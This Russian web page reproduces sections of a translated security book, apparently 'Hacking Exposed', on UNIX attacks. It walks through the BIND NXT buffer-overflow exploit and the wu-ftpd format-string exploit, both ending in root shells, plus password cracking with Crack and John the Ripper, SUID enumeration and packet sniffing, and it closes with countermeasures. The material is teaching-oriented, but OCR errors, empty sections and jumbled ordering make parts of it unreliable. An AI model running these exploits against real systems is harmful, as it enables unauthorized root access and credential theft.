Защита информации в Интернет

         

Анализаторы сетевых пакетов



Анализаторы сетевых пакетов

Если злоумышленник проник в вашу систему в качестве суперпользователя — это плохо, но, возможно, еще хуже, если кто-то установил на каком-либо сетевом узле утилиту перехвата сетевых пакетов. Такие программы, называемые также анализаторами сетевых пакетов (sniffer; это название стало нарицательным от названия получившей всеобщее признание программы сетевого мониторинга, разработанной компанией Network General, которая в настоящее время является подразделением Network Associates, Inc.), можно без преувеличения назвать самыми опасными инструментами в руках злоумышленника. Это объясняется тем, что анализаторы позволяют взломщику наносить удары практически по любому компьютеру, который отправляет данные на взломанный узел, а также проникать на другие узлы сегмента локальной сети и делать с ними практически все, что заблагорассудится.



Атаки на систему DNS



Атаки на систему DNS

DNS является одной из наиболее популярных служб, используемых в Internet и большинстве корпоративных интрасетей. Как и следовало ожидать, такое широкое распространение службы DNS оказалось одной из причин многочисленных атак на эту систему. Взломщики постоянно пытаются воспользоваться слабыми местами одной из наиболее стандартной реализации службы DNS системы UNIX— пакета BIND (Berkeley Internet Name Domain). Кроме того, DNS является одной из нескольких служб, которые практически всегда оказываются необходимыми и функционируют по всему периметру корпоративной сети, обеспечивая доступ к Internet. Таким образом, любая ошибка службы DNS практически всегда приводит к возможности удаленного проникновения (зачастую с привилегиями root). В одном из отчетов по вопросам безопасности, который был опубликован в 1999 году и взбудоражил общественное мнение, сообщалось, что более 50% всех соединенных с Internet серверов DNS уязвимы для атак взломщиков. Так что подобная опасность абсолютна реальна. Соблюдайте осторожность!
Несмотря на то, что с пакетом BIND связано множество проблем обеспечения безопасности (http://www.cert.org/advisories/CA-98.05.bind_problems.html), мы сфокусируем все внимание на одной из последних и наиболее разрушительных атак. В ноябре 1999 года координационный центр CERT выпустил информационный бюллетень, в котором сообщалось о нескольких серьезных изъянах, обнаруженных в пакете BIND (http://www.cert.org/advisories/CA-99-14-bind.html). В Нем сообщалось о шести изъянах, среди которых наиболее опасным было удаленное переполнение буфера, возникающее при проверке пакетом BIND записей NXT. В результате переполнения буфера взломщик может выполнить на удаленном сервере любую команду с привилегиями root. Попробуем разобраться с основными принципами такой атаки.
Для идентификации уязвимого сервера, на котором запущена программа named. большинство взломщиков прибегают к средствам автоматизации. Для того чтобы определить, имеются ли на вашем сервере DNS потенциально слабые места, необходимо провести дополнительную инвентаризацию.

[ tsunami]# dig
(§10.1.1.100 version.bind chaos txt
«» DIG 8.1 «» 010.1.1.100 version.bind chaos txt
(1 server found)
res options: init recurs defnam dnsrch
got answer:
-»HEADER«- opcode: QUERY, status: NOERROR, id: 10
flags: qr aa rd ra; QUERY: 1, ANSWER:
1, AUTHORITY: 0, ADDITIONAL:


QUERY SECTION:
version.bind, type = TXT, class = CHAOS
ANSWER SECTION: VERSION.BIND. OS CHAOS TXT"8.2.2"

В приведенном фрагменте для определения используемой версии службы DNS демону named передается соответствующий запрос. Сейчас стоит еще раз подчерктть важность процесса предварительного сбора данных. В рассматриваемом примере на целевом сервере DNS используется программа named версии 8.2.2, которая уязвима для атак NXT. Для этой же атаки оказываются уязвимыми также версии 8.2 и 8.2.1 этой программы.
Для проведения такой атаки взломщик должен контролировать сервер DNS, связанный с удаленным доменом. На этом сервере DNS взломщику необходимо также создать поддомен, связанный с его собственным доменом. В данном примере предполагается, что сетью взломщика является attackers.org, поддомен называется hash и сервер DNS запущен на узле с именем quake. В данном случае взломщику необходимо добавить в файл /var /named/attackers, org. zone узла quake следующую запись, а затем перезапустить программу named с помощью интерфейса ndc.
subdomain IN  NS hash.attaokers.org.
Помните о том, что сервер DNS, контролируемый взломщиком, запущен на узле quake.
После компиляции утилиты взлома, созданной группой ADM (http: //packet storm.securify.com/9911-exploits/adm-nxt.с), ее нужно запустить с отдельного узла (tsunami), имеющего корректную архитектуру. Поскольку программа named используется в многих версиях UNIX, то утилитой adm-nxt поддерживаются следующие архитектуры.

[tsunami]# adm-nxt
Usage: adm-nxt architecture [command]
Available architectures:
1: Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)
2: Linux SolarDiz's non-exec
stack patch - named 8.2/8.2.1
3: Solaris 7 (Oxff) - named 8.2.1
4: Solaris 2.6 - named 8.2.1
5: FreeBSD 3.2-RELEASE - named 8.2
6: OpenBSD 2.5 - named 8.2
7: NetBSD 1.4.1 - named 8.2.1

После проведения предварительного сбора данных с использованием утилиты шпар стало известно, что на удаленном узле используется система Red Hat 6.x. Таким образом, для утилиты adm-nxt необходимо задать режим 1.
[tsunami]# adm-nxt 1
После запуска утилита adm-nxt свяжется с UDP-портом 53 узла tsunami и будет ожидать установки соединения с уязвимым сервером имен. На этом узле не нужно запускать реальный сервер DNS, в противном случае утилита adm-nxt не сможет связаться с портом 53. Не забывайте о том, что работа утилиты adm-nxt основывается на наличии целевого сервера имен, соединенного (или запрашивающего) с ложным сервером DNS, который на самом деле представляет собой утилиту взлома, прослушивающую UDP-порт 53. Как же взломщик может это реализовать? Очень просто. Для этого достаточно передать целевому серверу DNS запрос на получение некоторых данных с использованием команды nslookup.

[quake]# nslookup
Default Server:localhost.attackers.org
Address: 127.0.0.1
> server 10.1.1.100
Default Server: dns.victim.net
Address: 10.1.1.100 >
hash.attackers.org
Server: dns.victim.net
Address: 10.1.1.100

Как видно из приведенного листинга, взломщик запустил команду nslookup в интерактивном режиме на отдельном компьютере, находящемся в его полном распоряжении. Затем он перешел от использования сервера DNS, заданного по умолчанию, к
серверу-жертве с адресом 10.1.1.100. И наконец, взломщик запросил у взламываемого сервера DNS адрес поддомена hash.attackers.org. Это, в свою очередь, приведет к тому, что сервер dns.victim.net сгенерирует запрос к ложному серверу DNS, который прослушивает USP-порт 53. Как только целевой сервер установит соединение с узлом tsunami, на узле dns.victim.net утилитой adm-nxt будет сгенерировано переполнение буфера, в результате чего взломщик получит неограниченный доступ с привилегиями root, как показано ниже.

[tsunami]# t666 I
Received request from 10.1.1.100:53 for hash.attackers.org type=l
id
uid=0(root) gid=0(root) groups=0(root)



Часто используемые методы удаленного взлома



Часто используемые методы удаленного взлома

Хотя мы не сможем описать все возможные методы удаленного взлома, однако, как нам кажется, у вас уже должно было выработаться общее представление об основных принципах подобных атак, на основании которого вы сможете самостоятельно разобраться в тех или иных конкретных методах. Перед завершением обсуждения методов удаленного взлома мы хотим рассмотреть несколько важных служб, часто подвергающимся таким атакам, а также указать, с помощью каких контрмер можно снизить риск использования этих служб для проникновения в систему в тех случаях, когда отключение службы не представляется возможным.



Что такое анализатор сетевых пакетов



Что такое анализатор сетевых пакетов

Анализаторы изначально были разработаны как средство решения сетевых проблем. Они могут перехватывать, интерпретировать и сохранять для последующего анализа передаваемые по сети пакеты. Это дает возможность сетевым инженерам наблюдать за тем, как данные передаются по линиям связи, и устранять возникающие проблемы либо моделировать те или иные ситуации, наблюдая за прохождением пакетов на самом низком уровне. Ниже приведен пример перехвата пакетов — запись команд регистрации пользователя guest с паролем guest в сети.

-----[SYN] (slot 1)
рс6 => targets [23]
%&& #'$ANSI"!guest
guest Is
cd / Is
cd /etc
cat /etc/passwd
more hosts.equiv
more /root/.bash_history

Как и многие другие мощные средства, изначально предназначавшиеся для администрирования, с течением времени анализаторы стали применяться совсем для других целей. Можно только представить, сколько важных данных проходит за день по загруженной сети! Среди таких данных — пользовательские имена и пароли, конфиденциальные сообщения электронной почты, файлы, содержащие личную информацию, деловые отчеты и т.д. Так или иначе, если информация такого рода передается по сети, она преобразуется в биты и байты, которые с помощью анализатора могут видеть взломщики, подключившиеся в любой точке маршрута прохождения данных от отправителя до получателя.
Хотя мы подскажем, как можно защитить сетевые данные от посторонних глаз, мы надеемся, что вы поняли, почему анализаторы сетевых пакетов считаются одним из самых опасных средств, которые только могут оказаться в руках злоумышленников. Ничто не может быть безопасным в сети, в которой установлен анализатор, поскольку данные, передаваемые по линии передачи данных, по существу, всегда оказываются открытыми. Нашим любимым анализатором сетевых пакетов является dsniff (http://www.monkey.org/~dugsong/), который можно найти по адресу http://packetstorm.securify.com/sniffers/. Там же вы найдете и много других популярных программ-анализаторов.

Crack 5 0a



Crack 5.0a

Для того чтобы запустить программу Crack, достаточно указать, где находится файл паролей, а затем лишь дождаться результата. Crack является самокомпилирующейся программой, поэтому после запуска на самом деле вызывается утилита make, которая собирает воедино все необходимые компоненты. Одной из сильных сторон программы Crack является обширный набор правил создания различных словоформ и модификаций. Кроме того, при каждом запуске эта программа генерирует пользовательский список слов, в который включается такая информация, как имя пользователя, а также сведения, указанные в поле GECOS (комментарии). Именно поэтому не забывайте посмотреть на поле GECOS при взломе паролей! Очень часто в поле GECOS пользователи указывают свое полное имя и при этом выбирают пароль, который представляет собой некоторую комбинацию имени и фамилии или их частей. Программа Crack очень легко справляется с такими несложными паролями. Давайте посмотрим как выглядит типичный файл паролей, а затем попробуем применить к нему программу взлома.

root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash
bin:*:l:l:bin:/bin:
daemon:*:2:2:daemon:/sbin:
<other locked accounts omitted>
nobody:*:9 9:9 9:Nobody:/:

eric:GmTFgOAavFAOU:500:0:
:/home/eric:/bin/csh
samantha:XaDeasK8g8g3s:501:503:
:/home/samantha:/bin/bash
temp:kRWegG5iTZP5o:502:506:
:/home/temp:/bin/bash
hackme:nh.StBNcQnyE2:504:1:
:/home/hackme:/bin/bash
bob:9wynbWzXinBQ6:506:1::/home/bob:/bin/csh
es:OxOH89TiymLcc:501:501::/home/es:/bin/bash
mother:jxZdltcz3wW2Q:505:505:
:/home/mother:/bin/bash
jfr:kyzKROryhFDE2:506:506:
:/home/jfr:/bin/bash

Для того чтобы запустить программу Crack для взлома данного файла, необходимо воспользоваться следующей командой.

[tsunamitt Crack passwd
Crack 5.0a: The Password Cracker.
(c) Alec Muffett, 1991, 1992, 1993, 1994, 1995, 1996
System: Linux 2.0.36
#1 Tue Oct 13 22:17:11 EOT 1998 1686 unknown
<omitted for brevity>
Crack: The dictionaries seem up to date...
Crack: Sorting out and merging feedback, please be patient...
Crack: Merging password files...
Crack: Creating gecos-derived dictionaries
mkgecosd: making non-permuted words dictionary
mkgecosd: making permuted words dictionary
Crack: launching: cracker -kill run/system.11324
Done

Начиная с этого момента программа Crack переходит к функционированию в фоновом режиме с сохранением результатов в базе данных. Для того чтобы обратиться к этой базе данных и узнать, какие пароли были взломаны, необходимо запустить утилиту Reporter.

[tsunami]# Reporter -quiet
---passwords cracked as of Sat 13:09:50 EOT ---
Guessed eric [jenny] [passwd /bin/csh]
Guessed hackme [hackme] [passwd /bin/bash]
Guessed temp [temp] [passwd /bin/bash]
Guessed es [eses] [passwd /bin/bash]
Guessed jfr [solarisl] [passwd /bin/bash]

Если вы хотите увидеть только пароли, взломанные к текущему моменту, необходимо запустить профамму Reporter с параметром -quiet. При запуске утилиты без параметров на экран выводятся сведения об ошибках, предупреждения, а также сведения о заблокированных паролях. В комплект поставки профаммы Crack входит еще и несколько очень полезных сценариев. Один из них — shadmrg. sv. Он предназначен для объединения файла паролей UNIX со скрытым файлом паролей, что позволяет получить один исходный файл, содержащий всю информацию, необходимую для взлома паролей. Еще одной интересной командой является команда make tidy, с помощью которой можно удалить остаточные учетные пользовательские записи и пароли после выполнения Crack.
В завершение необходимо рассмотреть еще один вопрос: как определить используемый алгоритм хэширования? В нашем примере использовался алгоритм DES, являющийся стандартным в большинстве версий UNIX. Если в системе установлены дополнительные средства обеспечения безопасности, то тогда, скорее всего, будут применяться алгоритмы MD5 и blowfish. Хэш-код пароля, полученный с помощью MD5, значительно длиннее хэш-кода DES и идентифицируется наличием символов $1 в качестве двух первых символов хэш-кода. Символы $2, содержащиеся в начале хэш-кода, говорят о том, что для хэширования использовался алгоритм blowfish. Если вам нужна программа для взлома паролей, защищенных с помощью MD5 или blowfish, мы настоятельно рекомендуем использовать John the Ripper.

John the Ripper


John the Ripper — одна из лучших утилит взлома паролей, доступных в настоящее время. Ее версии как для UNIX, так и для NT можно найти по адресу http://www.openwall.com/john/. Как уже упоминалось, программа John является одной из лучших и самых быстрых утилит и она очень проста в применении.

[shadow]# John passwd
Loaded 9 passwords with 9 different salts (Standard DES [24/32 4K])
hackme (hackme)
temp (temp)
eses (es)
jenny (eric)
tlB (bob)
guesses: 5 time: 0:00:04:26 (3)
c/s: 16278 trying: pireth - StUACT

На вход утилиты John при запуске подается файл паролей (passwd), и это все, что нужно сделать. Утилита самостоятельно определит применяемый алгоритм шифрования, в данном случае DES, а затем приступит к взлому паролей. Сначала будет использован файл словаря (password. 1st), а затем начнется процесс подбора паролей. Как видно из приведенного листинга, утилитой John был получен пароль пользователя job, тогда как программе Crack удалось подобрать пароль пользователя j f г. Так что с помощью каждой программы были получены различные результаты. В основном это объясняется ограниченным списком слов, содержащимся в файле словаря \тили-ты John, так что мы рекомендуем его расширить. Обширный список слов можно найти ПО адресу http://packetstorm.securify.com/Crackers/wordlists/.

Файлы SUID



Файлы SUID

Установка для файлов бита SUID или SGID — смертельно опасна. Этим все сказано! Ни один другой файл системы UNIX не подвержен столь частым попыткам злоумышленников всех мастей получить несанкционированный доступ, как файл с SUID суперпользователя. Практически во всех описанных выше случаях взлома были задействованы те или иные процессы, выполняющиеся на уровне привилегий суперпользователя, — большинство из них уже имели установленный бит SUID. Переполнение буфера, гонки на выживание и взлом с использованием символьных ссылок никогда не принесут ожидаемого эффекта, если для программы не установлен флаг SUID. К сожалению, большинство разработчиков относятся к биту SUID так, как будто это вышедшая из моды вещь. Пользователи, не заботящиеся о безопасности, также заражаются таким образом мышления. Многие из них слишком ленивы для того, чтобы предпринимать какие бы то ни было дополнительные меры при выполнении работы и склонны полагать, что все программы должны выполняться с уровнем привилегий суперпользователя.
Для того чтобы воспользоваться столь печальным отношением к безопасности, взломщик, получивший доступ к системе на уровне пользователя, должен сначала попытаться идентифицировать файлы с установленными битами SU1D и (или) GUID. Для этого обычно используется утилита find, позволяющая получить список файлов, с помощью которых можно попытаться получить доступ на уровне суперпользователя. Давайте рассмотрим пример поиска таких файлов в относительно простой системе Linux (для наглядности полученные результаты были сокращены).

[tsunami]# find / -type f -perm -04000 -Is
-rwsr-xr-x i root root 30520 May 5 1998 /usr/bin/at
-rwsr-xr-x 1 root root 29928 Aug 21 1998 /usr/bin/chage
-rwsr-xr-x 1 root root 29240 Aug 21 1998 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 770132 Oct 11 1998 /usr/bin/dos
-r-sr-sr-x 1 root root 13876 Oct 2 1998 /usr/bin/lpq
-r-sr-sr-x 1 root root 15068 Oct 2 1998 /usr/bin/lpr
-r-sr-sr-x 1 root root 14732 Oct 2 1998 /usr/bin/lprm
-rwsr-xr-x 1 root root 42156 Oct 2 1998 /usr/bin/nwsfind
-r-sr-xr-x 1 root bin 15613 Apr 27 1998 /usr/bin/passwd
-rws--x--x 2 root root 464140 Sep 10 1998 /usr/bin/suidperl

Большинство из перечисленных в листинге программ (например, chage и passwd) для корректной работы требуют наличия привилегий SUID. Скорее всего, взломщики сосредоточат свои усилия на таких программах, особенно на тех из них, которые уже взламывались в прошлом или слишком сложны, а следовательно, вероятность того, что в них имеются недостатки и ошибки, достаточно высока. Хорошей отправной точкой является программа dos. Эта программа создает виртуальную машину и для выполнения некоторых операций требует прямого доступа к аппаратным средствам. Прежде всего взломщики обращают внимание на те программы, которые выполняют нетривиальные операции или не находятся под таким жестким контролем, как другие SUID-программы. Давайте проведем небольшое исследование и попробуем определить, насколько программа dos пригодна для взлома. Для этого обратимся к документации HOWTO. Наша цель в данном исследовании — определить, имеются ли в этой программы дефекты, проявляющиеся в тех случаях, когда она запускается в контексте SUID. Если ответ будет положительным, значит, она предстаатается хорошим кандидатом для взлома.
В документации HOWTO по программе dos сказано следующее. "Хотя dosemu отключает привилегии root везде, где это возможно, безопаснее не запускать ее от имени суперпользователя, особенно если вы планируете запускать под ее управлением программы DPMI. Большинство обычных программ DOS не требует запуска dosemu от имени суперпользователя, особенно если она запускается в среде X. Поэтому во всех случаях, когда это возможно, вы не должны позволять пользователям запускать копии dosemu в контексте SUID суперпользователя, а лишь в контексте обычного пользователя. Этот режим можно настроить на уровне пользователей, используя файл /etc/dosemu.users."
Таким образом, в документации однозначно говорится о том, что пользователям рекомендуется запускать копию программы без установленного флага SUID. На нашей тестовой системе такие ограничения не применялись, о чем мы узнали из файла /etc/dosemu.users. Данный пример некорректной настройки демонстрирует именно то, к чему стремится любой злоумышленник: в системе имеется файл, с помощью которого с высокой степенью вероятности можно получить доступ на уровне суперпользователя. Злоумышленник может воспользоваться программой dos с установленным битом SUID как для непосредственного взлома, так и для определения того, можно ли с ее помощью применить такие методы, как переполнение буфера, использование символьных ссылок и так далее для взлома других программ. Это можно назвать классическим примером того, как программа, обладающая ничем не оправданным уровнем привилегий SUID, подвергает значительному риску безопасность всей системы.

FTP



FTP

В настоящее время протокол FTP (File Transfer Protocol), позволяющий обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный пользователь может получить доступ к любому каталогу и файлу системы. Такая оплошность системного администратора дает возможность взломщику найти важные конфигурационные файлы, прежде всего /etc/passwd. Что еще хуже, многие FTP-серверы позволяют всем пользователям записывать информацию в свои каталоги. Такая "гремучая смесь" является "миной замедленного действия", подложенной под систему защиты. Например, взломщик может поместить файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к системе с помощью утилиты rlogin. Кроме того, многие FTP-серверы взломаны охотниками за программным обеспечением, которые помешают нелегальные программы в скрытых каталогах. Поэтому, если нагрузка на вашу сеть возрастет за день в три раза, это может служить косвенным признаком того, что вашу систему используют для копирования очередной пиратской копии.
Помимо риска, связанного с разрешением анонимных подключений, FTP-серверы вносят свою лепту и в создание проблем, возникающих при переполнении буфера и других нарушениях. Одно из таких слабых мест было недавно обнаружено в системах, использующих для поддержки протокола FTP программу wu-ftpd 2.6.0 и ее более ранние версии (ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02). Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf () (%f, %p, %n и т.д.) и выполнить произвольный код с привилегиями root. Вот как выглядит такая атака, примененная к системе RedHat 6.2.

[thunder]# wugod -t 192.168.1.10 -sO
Target: 192.168.1.10 (ftp/<shellcode>):
RedHat 6.2 (?) with wuftpd
2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr:
Oxbfffb028, Shellcode: 152
loggin into system.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-for example: joe@thunder
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists:
[87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our
return address by format string
STEP 4 : Ptr address test: Oxbfffb028
(if it is not Oxbfffb028 ^С
me now)
STEP 5 : Sending code.,
this will take about 10 seconds. Press ^\
to leave shell
Linux shadow 2.2.14-5.0
#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.
Еще один изъян в системе безопасности, обнаруженный в системе BSD еще в 1993 году, связан с демоном ftpd. Его описание можно найти по адресу http://www.cert.org/advisories/CA-2000-13.html.
Хотя в данной книге этот вопрос подробно рассматриваться не будет, помните о том, что наличие подобного изъяна также может оказаться достаточно опасным.

Гонки на выживание



Гонки на выживание

В реальной жизни хищник нападает на жертву, когда она наименее защищена. В ки-берпространстве эта аксиома также имеет место. Компьютерные взломщики, как правило, стремятся воспользоваться недостатками в системе защиты программы или процесса при выполнении ими какой-нибудь привилегированной операции. Обычно при этом время взлома-планируется таким образом, чтобы повредить программу или процесс после того, как они перейдут в привилегированный режим, но до завершения использования привилегированных прав. В большинстве случаев этот временной интервал достаточно ограничен, поэтому взломщикам нужно очень хорошо рассчитать момент нападения, чтобы успеть вовремя скрыться со своей добычей. Недостаток системы защиты, позволяющий злоумышленнику установить факт наличия такого временного интервала, называется состоянием гонки на выживание (race condition). Если взломщику удается вмешаться в нор-мальную работу в то время, когда процесс или программа находится в привилегированном состоянии, то говорят о том, что он "выигрывает гонку" (winning the race). Состояние гонки на выживание может быть различных типов. Мы ограничимся описанием тех из них, которые связаны с обработкой сигналов.



Интерактивный доступ к командной оболочке



Интерактивный доступ к командной оболочке

Обсудив два основных метода получения доступа к системе UNIX, необходимо поговорить и об методах, используемых для получения доступа к командной оболочке (shell account access). Необходимо помнить, что основной целью любого взломщика является получение доступа к командной строке или к командной оболочке интересующей его системы. Традиционный метод получения интерактивного доступа к командной оболочке заключается в удаленной регистрации на сервере UNIX с помощью таких программ, как telnet, rlogin или ssh. Кроме того, можно выполнять команды, используя утилиты rsh, ssh, или rexec, не проходя этапа удаленной регистрации. У вас может возникнуть вопрос — а что, если все службы, поддерживающие удаленный доступ, отключены или заблокированы на уровне брандмауэра? Может ли в этом случае взломщик получить доступ к командной оболочке целевой системы? Хороший вопрос. Давайте рассмотрим один пример, на котором можно исследовать различные методы, с помощью которых взломщик может получить интерактивный доступ к командной оболочке UNIX. Эти методы иллюстрируются на Рисунок 8.1.



Изъяны ядра



Изъяны ядра

Не секрет, что UNIX является очень сложной и надежной операционной системой. Из-за сложности в UNIX и других мощных операционных системах неизбежно имеются определенные программные ошибки. В UNIX наиболее опасный недостаток связан с самим ядром. Ядро представляет собой внутренний компонент операционной системы, в котором реализована общая модель ее подсистемы защиты. Эта модель обеспечивает обработку разрешений на использование файлов и каталогов, расширение и отключение привилегий файлов SUID, обработку сигналов и т.д. Если слабое место появляется в самом ядре, то под угрозой оказывается безопасность всей операционной системы в целом.
В качестве примера можно привести изъян ядра, обнаруженный в июне 2000 года, который оказал влияние на миллионы систем. Он имеется в ядре большинства версий системы Linux 2.2.x, разработанных до этого момента. Этот изъян связан с реализацией требований стандарта POS1X в ранних версиях ядра Linux. Реализованные возможности были призваны обеспечить более высокую степень управляемости, чем предоставлялась привилегированными процессами. Если говорить кратко, то все новые возможности были разработаны для повышения безопасности всей системы в целом. К сожалению, из-за ошибок в программировании оказалось, что новые функции работают не так, как планировалось. Этот изъян позволяет ввести в заблуждение программы SUID (например, sendmail) и назначить для них более высокие привилегии, чем те, которые им действительно необходимы. Таким образом, злоумышленник, который имеет доступ к командной оболочке взламываемой системы, может расширить эти привилегии до уровня root.



Как работают анализаторы



Как работают анализаторы

Самый простой метод ознакомления с принципами работы анализаторов состоит в изучении тех анализаторов, которые ориентированы на сеть Ethernet. Конечно, анализаторы существуют практически для всех типов сетей, но, поскольку архитектура Ethernet является самой распространенной, давайте сосредоточимся именно на ней. Те же самые принципы, как правило, применимы и к сетям с другой архитектурой.
Анализатор Ethernet — это программа, которая работает на уровне сетевого адаптера (NIC — Network Interface Card) и скрытно перехватывает весь поток проходящих через него данных, в том числе и те, которые не предназначены для узла, на котором этот сетевой адаптер установлен. Правда, обычно сетевой адаптер Ethernet отбрасывает все данные, не предназначенные именно ему, а также отправленные по адресу широковещательной рассылки, поэтому его нужно перевести в специальное состояние, называемое промискуитетным режимом (promiscuous mode), позволяющее получать все пакеты, проходящие по сети.
Как только аппаратные средства будут переключены в промискуитетный режим, программа-анализатор может перехватывать и анализировать любые данные, передаваемые по локальному сегменту Ethernet. Это слегка ограничивает возможности анализатора, поскольку он не может просматривать поток данных, передаваемый за пределы локального домена (другими словами, за пределы маршрутизаторов, коммутаторов и других устройств сегментации). В связи с этим очевидно, что анализатор, установленный на магистральной линии связи, обеспечивающей взаимодействие отдельных подсетей, или в другой точке соединения подсетей, сможет перехватить гораздо больше информации, чем тот, который помещен в выделенный сегмент Ethernet.
Теперь, получив общие сведения о принципах функционирования анализатора, давайте рассмотрим некоторые популярные анализаторы, а также познакомимся со способами их обнаружения.



Контрмеры защита FTP



Контрмеры: защита FTP

Хотя протокол FTP очень полезен, необходимо помнить, что разрешение анонимного доступа к FTP-серверу может весьма пагубно сказаться на "самочувствии" вашего сервера. Оцените необходимость использования FTP-сервера и определите, нужно ли предоставлять возможность анонимного доступа. В таких случаях для защиты сервера необходимо предпринять специальные меры. Очень важно установить самые последние версии модулей обновления, а также запретить или как минимум oipami-чить количество каталогов, в которые разрешена запись всем пользователям. А лучше вовсе откажитесь от таких каталогов.



Контрмеры защита ядра



Контрмеры: защита ядра

Описанный изъян имеет место во многих системах Linux. Поэтому соответствующий модуль обновления системному администратору нужно установить в первую очередь. К счастью, это очень просто осуществить. Для тех, кто использует ядро версии 2.2.x, достаточно просто обновить его до версии 2.2.16 или более высокой.



Контрмеры защита общедоступных для записи файлов



Контрмеры: защита общедоступных для записи файлов

Регулярный поиск всех общедоступных для записи файлов является хорошей практикой системного администратора. Измените права записи для всех найденных каталогов и файлов, которые не должны быть общедоступными. Конечно, решение о том, нужно ли тот или иной файл или каталог делать общедоступным, иногда принять довольно сложно, поэтому мы рекомендуем исходить хотя бы из здравого смысла. Если этот файл используется при инициализации, конфигурации или запуске системы, то, скорее всего, он не должен быть общедоступным. Однако помните, что файлы драйверов некоторых устройств, находящиеся в папке /dev, должны быть общедоступными. Поэтому применяйте взвешенный подход к вносимым изменениям и тщательно тестируйте работоспособность системы после каждого существенного изменения.
Обсуждение дополнительных атрибутов файлов выходит за рамки данной книги, но все же эта возможность заслуживает того, чтобы упомянуть о ней хотя бы в двух словах. Безопасность многих систем можно существенно повысить, установив для определенных ключевых файлов флаги read-only, append и immutable. В Linux и многих вариантах BSD имеются дополнительные флаги, которые, к сожалению, очень редко используются (в Linux для работы с ними предназначена команда chattr). Применяя эти дополнительные атрибуты совместно со средствами защиты на уровне ядра (в тех системах, в которых они поддерживаются), можно существенно повысить уровень безопасности системы.



Контрмеры защита от анализаторов



Контрмеры: защита от анализаторов

Существует три основных подхода к защите от анализаторов, которые могут быть внедрены в вашу сеть или уже внедрены в нее.
Переход на сеть с коммутируемой топологией
Сети Ethernet с совместно используемыми линиями связи чрезвычайно уязвимы для анализаторов, поскольку все данные передаются по сети от узла к узлу в виде широковещательных сообщений, попадая таким образом не только на тот компьютер, которому они предназначены, но и на остальные компьютеры сегмента. Сети Ethernet с коммутируемой топологией позволяют поместить каждый узел в отдельный домен разрешения конфликтов, поэтому на сетевой адаптер того или иного узла такой сети поступают только те данные, которые предназначены этому узлу (ну и, конечно, данные, рассылаемые широковещательно). Кроме безопасности, коммутируемые сети позволяют увеличить и производительность. Учитывая, что стоимость сетевого оборудования для коммутируемых сетей не намного превышает стоимость оборудования для сетей с общей шиной, выбор последней не может быть оправдан никакими соображениями. Если бухгалтерский отдел вашей компании все же имеет иную точку зрения на эту проблему, покажите им список их паролей, перехваченных с помощью одной из приведенных выше программ. Мы уверены, что это подействует.
Несмотря на то что сеть с коммутируемой топологией позволяет предотвратить атаки неопытных взломщиков, другие злоумышленники могут без проблем прослушивать локальную сеть. Программа типа arpredirect из пакета dsniff (http://www.monkey.org/~dugsong/dsniff/) может свести на нет все старания обеспечить безопасность с реализацией коммутируемой сетевой топологии. Более подробно программа arpredirect рассматривается в главе 10.



Контрмеры защита от атак с использованием



Контрмеры: защита от атак с использованием переполнения буфера










Контрмеры защита от локального переполнение буфера



Контрмеры: защита от локального переполнение буфера

Лучшим методом зашиты от локального переполнения буфера является учет требований безопасности в процессе программирования, а также включение режима, запрещающего выполнение кода, находящегося в стеке. Достаточно выполнить хотя бы последнее требование, чтобы значительно усложнить работу злоумышленника, который попытается написать программу, использующую только что рассмотренный изъян. Полный перечень контрмер приведен в разделе "Взлом Путем Переполнения Буфера" данной главы. Здесь мы лишь добавим, что очень хорошей практикой является установка бита SUID только для тех программ, которым действительно необходим доступ на уровне суперпользователя.



Контрмеры защита от попыток создания обратных каналов



Контрмеры: защита от попыток создания обратных каналов

Противостоять попыткам создания обратного канала очень трудно. Самой лучшей превентивной мерой является применение всех средств обеспечения безопасности, что позволит устранить возможность использования подобного метода. К таким мерам относятся отключение ненужных служб и применение всех модулей обновления сразу же после их появления.
Среди прочих защитных мероприятий можно выделить следующие.
 Удалите систему X со всех компьютеров, которым требуется высокий уровень обеспечения безопасности. Это позволит защититься не только от потенциальной опасности использования взломщиками программы xterm, но и от служащих, которые могут попытаться расширить свои полномочия до привилегий суперпользователя root, воспользовавшись недостаточной степень защиты Х-сервера.  Если Web-сервер функционирует с привилегиями пользователя nobody, настройте разрешения для исполняемых файлов, например telnet, таким образом, чтобы запретить их выполнение всем пользователям, за исключением владельцев этих файлов и определенных групп (например, с использованием команды chmod 750 telnet). Это позволит сохранить возможность запуска telnet легитимными пользователями, но лишит такой возможности те программы, использующие идентификаторы пользователей, которые не должны запускать telnet в процессе своей работы.  В некоторых случаях можно настроить брандмауэр таким образом, чтобы запретить соединения, исходящие от Web-сервера или другого внутреннего узла. Это особенно полезно, если брандмауэр построен на основе прокси-сервера. поскольку создать обратный канал через такой брандмауэр, выполняющий аутентификацию, достаточно сложно, но все же возможно.




Контрмеры защита от средств модификации ядра



Контрмеры: защита от средств модификации ядра

